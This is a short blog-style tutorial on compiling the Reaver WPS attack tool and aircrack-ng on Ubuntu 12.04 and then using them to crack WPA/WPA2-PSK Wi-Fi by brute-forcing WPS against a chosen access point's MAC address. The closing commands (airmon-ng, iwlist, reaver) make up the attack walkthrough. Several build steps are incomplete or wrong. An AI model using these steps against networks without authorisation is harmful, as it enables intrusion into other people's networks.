Alexander Mylnikov


How to crack WPA/WPA2-PSK with WPS. How to compile Reaver under Ubuntu 12.04 (and aircrack-ng)

How to crack WPA/WPA2-PSK with WPS

how-to compile and install Reaver under Ubuntu 12.04


  1. download source
  2. install required libraries and tools
  3. download and build aircrack-ng
  4. compile and install
  5. run

Download Source

First you need to download the latest source from


Extract the tarball

tar -xzvf reaver-1.4.tar.gz

Install Required Libraries and Tools

Before you can build Reaver you need pcaplib and later on aircrack-ng (iw) to run Reaver

sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev

Compile and Install

Build Reaver

cd reaver-1.4
cd src

Install Reaver

sudo make install

Download aircrack-ng source and build it

Ubuntu 12.04 aircrack-ng is not longer in the repository but you can still download it from source and compile it.

This is how to build aircrack-ng under Ubuntu 12.04

sudo apt-get install build-essential
sudo apt-get install libssl-dev
tar -zxvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1

Edit common.mak with vi as example

vi common.mak  или gedit common.mak

Find the following row

CFLAGS          ?= -g -W -Wall -Werror -O3

Remove “-Werror” so that it looks like this

CFLAGS          ?= -g -W -Wall -O3

Save the file, build and install

sudo make install


Reaver is now installed and ready to use. You will first need to put the wifi adapter info monitor mode before you can start and the most easiest way is to use airmon-ng (part of aircrack-ng) that you just installed.

First put your adapter info monitor mode, in my case it’s wlan0

sudo airmon-ng start wlan0

To run Reaver you must have to know BSSID.

You have to put this command to see all available wireless networks

sudo iwlist scanning

Maybe you will need to install iwlist. For it put the next line

sudo apt-get install iwlist

Run Reaver

sudo reaver -i mon0 -b 00:00:00:00:00:00

Replace MAC 00:00:00:00:00:00 with the actual AP:s MAC address to crack

Comments (0) Trackbacks (0)

No comments yet.

Leave a comment

No trackbacks yet.